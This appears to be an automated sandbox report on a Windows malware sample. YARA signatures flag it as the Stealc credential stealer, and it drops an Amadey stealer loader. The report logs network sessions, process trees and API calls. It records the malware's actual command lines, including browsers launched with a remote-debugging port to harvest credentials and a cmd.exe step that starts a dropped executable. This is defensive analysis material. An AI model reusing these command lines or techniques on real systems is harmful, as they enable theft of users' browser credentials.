2024-11-24 18:13:10 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:13:10 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 4857c71c-401e-0067-7e3a-3c09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181310Z-15b8b599d886w4hzhC1TEBb4ug00000004u000000000czr9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:13:10 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.8	56432	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:13:10 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:13:11 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:13:11 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 18f8ca6a-701e-005c-1e55-3dbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181311Z-174c587ffdftv9hphC1TEBm29w00000004u000000000198m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 18:13:11 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.8	56433	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:13:10 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:13:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:13:11 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: bc0c8c97-701e-0053-1e45-3c3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181311Z-178bfbc474bnwsh4hC1NYC2ubs000000068g00000000nge6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:13:11 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.8	56434	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:13:10 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:13:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:13:11 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: c4110b14-b01e-0098-2916-3dcead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181311Z-178bfbc474bp8mkvhC1NYCzqnn000000062g00000000h39s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:13:11 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.8	56436	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:13:12 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:13:12 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:13:12 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 1a818a33-b01e-005c-4475-3b4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181312Z-174c587ffdfl22mzhC1TEBk40c00000004ug00000000qp9t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:13:12 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.8	56437	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:13:13 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:13:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:13:13 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: d2879cce-801e-0047-5869-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181313Z-178bfbc474b7cbwqhC1NYC8z4n000000064g00000000heqz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:13:13 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Target ID:	0
Start time:	13:11:15
Start date:	24/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x200000
File size:	1'824'256 bytes
MD5 hash:	A701FF816A94C1E54F8B2175D9FCFD19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1472255775.0000000004BC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1996260643.0000000000DBE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1994265116.0000000000201000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1994265116.00000000002CC000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:11:26
Start date:	24/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:11:27
Start date:	24/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2304 --field-trial-handle=2164,i,4228140876153035288,3191782487785201057,262144 /prefetch:8
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:11:37
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:11:37
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2336 --field-trial-handle=2196,i,59569300908838470,7156084176488042829,262144 /prefetch:3
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:11:37
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	13:11:38
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1268 --field-trial-handle=2000,i,12993062210257501914,1796077123898804820,262144 /prefetch:3
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	13:11:41
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6380 --field-trial-handle=2000,i,12993062210257501914,1796077123898804820,262144 /prefetch:8
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	13:11:41
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6536 --field-trial-handle=2000,i,12993062210257501914,1796077123898804820,262144 /prefetch:8
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	13:12:06
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsEHJKJDGCGD.exe"
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	13:12:06
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	13:12:06
Start date:	24/11/2024
Path:	C:\Users\user\DocumentsEHJKJDGCGD.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsEHJKJDGCGD.exe"
Imagebase:	0xea0000
File size:	1'912'320 bytes
MD5 hash:	A497AC328EBE667E4502871394265720
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.2078563513.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000003.1990725998.0000000005470000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	13:12:10
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x330000
File size:	1'912'320 bytes
MD5 hash:	A497AC328EBE667E4502871394265720
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000002.2083342943.0000000000331000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000003.2041418812.0000000005260000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	13:12:14
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x330000
File size:	1'912'320 bytes
MD5 hash:	A497AC328EBE667E4502871394265720
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000003.2070684914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000002.2110993064.0000000000331000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	13:12:38
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7912 --field-trial-handle=2000,i,12993062210257501914,1796077123898804820,262144 /prefetch:8
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	13:13:00
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x330000
File size:	1'912'320 bytes
MD5 hash:	A497AC328EBE667E4502871394265720
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000003.2522595024.0000000004820000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000002.2700815411.0000000000331000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	13:13:18
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008816001\7b950b2da4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008816001\7b950b2da4.exe"
Imagebase:	0x5e0000
File size:	4'374'016 bytes
MD5 hash:	3B098936D2BA04149E255A50F61B5415
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 37%, ReversingLabs
Has exited:	false

Show Windows behavior

Function 6CB96E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CCE2120,6CB97E60), ref: 6CB96EBC
TlsGetValue.KERNEL32 ref: 6CB96EDF
EnterCriticalSection.KERNEL32(?), ref: 6CB96EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6CB96F25

Part of subcall function 6CB6A900: TlsGetValue.KERNEL32(00000000,?,6CCE14E4,?,6CB04DD9), ref: 6CB6A90F
Part of subcall function 6CB6A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CB6A94F

PR_Unlock.NSS3 ref: 6CB96F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6CB96FA9
TlsGetValue.KERNEL32 ref: 6CB970B4
EnterCriticalSection.KERNEL32(?), ref: 6CB970C8
PR_CallOnce.NSS3(6CCE24C0,6CBD7590), ref: 6CB97104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB97117
SECOID_Init.NSS3 ref: 6CB97128
PORT_Alloc_Util.NSS3(00000057), ref: 6CB9714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB9717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB971A9
PR_NotifyAllCondVar.NSS3 ref: 6CB971CF
PR_Unlock.NSS3 ref: 6CB971DD
free.MOZGLUE(?), ref: 6CB971EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB97208
free.MOZGLUE(00000000), ref: 6CB97221
free.MOZGLUE(00000001), ref: 6CB97235
TlsGetValue.KERNEL32 ref: 6CB9724A
EnterCriticalSection.KERNEL32(?), ref: 6CB9725E
PR_NotifyCondVar.NSS3 ref: 6CB97273
PR_Unlock.NSS3 ref: 6CB97281
SECMOD_DestroyModule.NSS3(00000000), ref: 6CB97291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB972B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB972D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB972E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB97301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB97310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB97335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB97344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB97363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB97372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6CCD0148,,defaultModDB,internalKeySlot), ref: 6CB974CC
free.MOZGLUE(00000000), ref: 6CB97513
free.MOZGLUE(00000000), ref: 6CB9751B
free.MOZGLUE(00000000), ref: 6CB97528
